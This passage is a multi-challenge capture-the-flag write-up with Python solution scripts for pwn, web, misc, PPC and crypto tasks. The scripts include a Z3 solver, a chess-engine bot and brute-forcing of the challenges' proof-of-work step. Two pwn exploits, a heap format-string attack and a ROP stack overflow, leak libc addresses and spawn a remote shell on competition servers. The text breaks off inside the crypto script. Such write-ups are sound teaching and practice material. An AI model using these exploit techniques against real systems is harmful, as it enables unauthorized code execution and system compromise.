# r = process('./young_heap')r = remote('47.89.11.82', 10009)
r.recvuntil('xxxx+')suffix = r.recv(16)# suffix = 'OWSh3smUNo6dzei7'r.recvuntil(' == ')ans = r.recvuntil('\n')[:-1]# ans = '4dff4cca83f525f0053b69ee61571a04a561293992c3b3ba9cd3dc785c1def16'x = string.letters + string.digitsb = 0for c1 in x:    for c2 in x:        for c3 in x:            for c4 in x:                if hashlib.sha256(c1+c2+c3+c4+suffix).hexdigest() == ans:                    print c1+c2+c3+c4                    r.sendline(c1+c2+c3+c4)                    b = 1                    break            if b == 1:                break        if b == 1:            break    if b == 1:        break# r.interactive()
def new_heap(size,cont):    r.sendlineafter('>> ','1')    r.sendlineafter(' :',str(size))    r.sendafter(' :',cont)
def edit(idx,cont):    r.sendlineafter('>> ','2')    r.sendlineafter(' :',str(idx))    r.sendafter(' :',cont)
def delete(idx):    r.sendafter('>> ','3')    r.sendafter(' :',str(idx))
new_heap(0x400,'a'*0x400) #0new_heap(0x400,'a'*0x400) #1new_heap(0x400,'a'*0x400) #2new_heap(0x400,'a'*0x400) #3
# delete(1)# delete(0)# r.interactive()edit(0,'a'*0x400+'\x01\x00')edit(1,'a'*0x400+'\x21\x08')delete(0)delete(2)edit(1,'a'*0x400+'\xa1')# new_heap(0x90)delete(1)# r.interactive()# edit(1,p64(0)+p64(0x10000))# delete(2)printf_plt = 0x4008a0addr = 0x602068new_heap(0x810,'%13$p\n\x00'+'a'*(0x400-7)+p64(0)+p64(0x410)+p64(addr)) #0new_heap(0x400,'a') #1new_heap(0x400,p64(printf_plt)) #2delete(0)l = int(r.recvuntil('\n').strip(),16)# print hex(l)libc = l - 0x20830system = libc + 0x45390print hex(libc)print hex(system)
def fmt_att(fmt):    new_heap(0x100, fmt)  # 0    delete(0)# r.interactive()# get address here# r.interactive()\n# 15 & 41 & 42fmt_att('%15$p\n\n')base = int(r.recvuntil('\n').strip(),16)print hex(base)fmt_att('%15$s\n\n')k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))print hex(k)attack_point = base + 8fmt_att("%"+str((attack_point+2)&0xffff)+'c%15$hn')fmt_att("%"+str(0x60)+'c%41$hn')fmt_att("%"+str(attack_point&0xffff)+'c%15$hn')fmt_att("%"+str(0x20e0)+'c%41$hn')# fmt_att("%42$s\n\n")# k = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))# print hex(k)# print hex(system&0xffff)fmt_att('%'+str(0x2060)+'c%42$hn')fmt_att("%"+str(0x20e2)+'c%41$hn')fmt_att('%'+str(0x60)+'c%42$hn')edit(4,p64(system))# fmt_att("%42$p")# new_heap(0x100,'%15$ln')#0# delete(0)r.interactive()
```
## web
### simpleweb (how2hack)I use Z3 to find the solution for this challenge.```python#!/usr/bin/env python
from z3 import *
value = [BitVec("val_%d" % i, 32) for i in range(5)]
s = Solver()for i in range(5):    s.add(value[i] >= 0)    s.add(value[i] <= 127)
s.add(((((value[0]+value[1])*0x100+(value[1]+value[2]))*0x100+(value[2]+value[3]))*0x100+(value[3]+value[4])) == 0x23332333)
if s.check() != sat:    print "unsat"else:    while s.check() == sat:        print s.model()        s.add(Or(value[0] != s.model()[value[0]], value[1] != s.model()[value[1]], value[2] != s.model()[value[2]], value[3] != s.model()[value[3]], value[4] != s.model()[value[4]])) '''[val_3 = 18, val_2 = 17, val_0 = 1, val_1 = 34, val_4 = 33][val_4 = 32, val_1 = 35, val_0 = 0, val_2 = 16, val_3 = 19][val_4 = 48, val_1 = 19, val_0 = 16, val_2 = 32, val_3 = 3][val_4 = 50, val_1 = 17, val_0 = 18, val_2 = 34, val_3 = 1][val_4 = 49, val_1 = 18, val_0 = 17, val_2 = 33, val_3 = 2][val_4 = 51, val_1 = 16, val_0 = 19, val_2 = 35, val_3 = 0][val_4 = 44, val_1 = 23, val_0 = 12, val_2 = 28, val_3 = 7][val_4 = 46, val_1 = 21, val_0 = 14, val_2 = 30, val_3 = 5][val_4 = 45, val_1 = 22, val_0 = 13, val_2 = 29, val_3 = 6][val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4][val_4 = 40, val_1 = 27, val_0 = 8, val_2 = 24, val_3 = 11][val_4 = 42, val_1 = 25, val_0 = 10, val_2 = 26, val_3 = 9][val_4 = 41, val_1 = 26, val_0 = 9, val_2 = 25, val_3 = 10][val_4 = 43, val_1 = 24, val_0 = 11, val_2 = 27, val_3 = 8][val_4 = 36, val_1 = 31, val_0 = 4, val_2 = 20, val_3 = 15][val_4 = 38, val_1 = 29, val_0 = 6, val_2 = 22, val_3 = 13][val_4 = 37, val_1 = 30, val_0 = 5, val_2 = 21, val_3 = 14][val_4 = 39, val_1 = 28, val_0 = 7, val_2 = 23, val_3 = 12][val_4 = 34, val_1 = 33, val_0 = 2, val_2 = 18, val_3 = 17][val_4 = 35, val_1 = 32, val_0 = 3, val_2 = 19, val_3 = 16]'''```There are multiple solutions. However, Javascript Array.sort() is a weird function... It sort the array in alphabetical order even for numbers, which means '12' < '4'. So the only solution is `[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]`.
Flag: `*ctf{web_chal_made_by_binary_players_lol}`
## misc
### welcome (bookgin)
Install: http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htmRun: `./sim-fast ../1355a2b7-44dc-451f-a826-6debe8467923.welcome`Flag: `*ctf{we1_t0_*ctf}`
### warmup (sces60107)
It's a easy challenge
```python=from pwn import *import osr=remote("47.91.226.78", 10006)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./warmup",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400961)+'\nc\n')
poprdi=0x400a63main=0x4008b9putsgot=0x600fa8putsplt=0x4006d8
# you can read whatever you wantprint r.recvuntil("What are you looking for?")r.sendline(str(putsgot))print r.recvline()libbase=int(r.recvline(),16)-0x6f690
# compute system addresssystem=libbase+0x45390poprdi=libbase+0x21102binsh=libbase+0x18cd57print hex(libbase)
# Easy stack overflowprint r.recvuntil("What's your name?")r.sendline("a"*40+p64(poprdi)+p64(binsh)+p64(system))
r.interactive()# *ctf{h0pe_th1s_e4zy_gam3_warm_y0u_up}```
## ppc
### magic_number (b04902036)
simply use a binary search
```python#!/usr/bin/python
from pwn import *
host = '47.89.18.224'port = 10011
r = remote(host, port)count = 0while(1):    count += 1    r.recvuntil(': n = ')    n = int(r.recvuntil('\n').strip())    dic = dict()    send_num = 0    ans = []    same = 0    same_ans = 0    for i in range(n):        if(same > 0):            same -= 1            for item in total:                dic[(item[0], item[1])] -= 1            ans.append(same_ans)            continue        total = set()        start = 0        end = 1024        prenum = n - i        while(1):            mid = (start + end) // 2            if((start, mid) in dic):                num = dic[(start, mid)]            else:                send_num += 1                r.sendline('? ' + str(start) + ' ' + str(mid))                num = int(r.recvuntil('\n').strip())                dic[(start, mid)] = num            if(num > 0):                prenum = num                total.add((start, mid))                dic[(start, mid)] -= 1                end = mid                if(mid - start == 1):                    same = num - 1                    same_ans = start                    ans.append(start)                    break            else:                start = mid                if(end - mid == 1):                    same = prenum - 1                    same_ans = mid                    ans.append(mid)                    break    msg = '!'    for i in ans:        msg += ' ' + str(i)    r.sendline(msg)    if(count == 10):        breakr.interactive()```
Flag: *ctf{magic algorithm produces magic numbers!}
### Chess Master (bookgin)
We use WCCC 2017 champion komodo as our engine. The code is very dirty. We use wireshark to record the last packet and get flag.
```python#!/usr/bin/env python3# Python 3.6.4
from pwn import *import stringimport hashlibimport chess # https://github.com/niklasf/python-chessimport chess.uci as uci
komodo = './komodo-9.02-linux'
def PoW():    r.recvuntil('sha256(xxxx+')    x = r.recvuntil(') ==', drop=True).decode()    y = r.recvline().decode()    y = y[:-1]    print(x)    print(y)    s = string.ascii_letters+string.digits    for i in s:        for j in s:            for k in s:                for l in s:                    h = hashlib.sha256()                    guess = (i+j+k+l+x).encode()                    h.update(guess)                    z = h.hexdigest()                    if z == y:                        print(guess)                        r.sendline(i+j+k+l)                        break
def parseBoard(s, rnd=0, turn='w'):    fen = ''    cnt = 0    for c in (s.strip() + '\n').replace(' ', '').replace('\n', '/'):        if c == '.':            cnt += 1        else:            if cnt != 0:                fen += str(cnt)                cnt = 0            fen += c    fen = fen.strip('/')    return chess.Board(f"{fen} {turn} KQkq - 3 {rnd}")
engine = uci.popen_engine(komodo)engine.uci()print(f'loaded "{engine.name}"')
r = remote('47.89.11.82', 10012)PoW()print('[+] PoW Done')r.recvuntil('game starts\n')engine.ucinewgame()
win_times = 0
# Use wireshark to record packet and get flag XDwhile True:    print(win_times)    buf = r.recvuntil('input your move(like e2e4):', drop=True).decode()    if 'you win' in buf:        win_times += 1        buf = buf[buf.find('game starts\n')+len('game starts\n'):]    raw_board = buf
    board = parseBoard(raw_board)    engine.position(board)    best_move, ponder_move = engine.go(movetime=50)    r.sendline(str(best_move))    #buf = r.recv(16)    #if b'win' in buf:    #    break    #print(buf)
engine.quit()```
Flag: `*ctf{chess_is_s0_ea5y}`
## crypto
### primitive (sasdf)
```python=from pwn import *import numpy as npimport itertools as itimport stringfrom hashlib import sha256import multiprocessing as mpfrom PoW import remote
# Connect to game server & PoWr = remote('47.75.4.252', 10001)
# Cipher operationsdef add(a, b):    return (a + b) & 0xff
def rot(a, b):    return (a>>(8-b) & 0xff) | ((a<<b) & 0xff)
def xor(a, b):    return (a ^ b)
def msb(a):    return a & 0x80
def mask(a, b):    return a & (0xff << b) & 0x7f
msk = 0 # How many bits at the end is OKsft = 0 # How many times we rotate the bytes.
def setMSB():    global msk, ct, pt    while True:        # Find which char's MSB needs to be flip.        flip = [msb(p) != msb(c) for p, c in zip(pt, ct)]        if not any(flip):            return
        # Get first char that needs to be flip.        idx = next(i for i, e in enumerate(flip) if e)        cur = mask(ct[idx], msk)
        # Make sure we won't flip some MSB that shouldn't be flip.        while any(mask(c, msk) == cur for c, f in zip(ct, flip) if not f):            if msk <= 0:                raise ValueError('Conflict')            msk -= 1            cur = mask(ct[idx], msk)
        # Make all bits in range [msk, 7] of target char to be 1.        cur = mask(~cur, msk)        assert(cur >= 0 and cur < 256)        r.sendline(('2 %d' % cur).rjust(9, '0'))
        # Use carry to flip MSB of target char.        assert((1 << msk) >= 0 and (1 << msk) < 256)        r.sendline(('0 %d' % (1<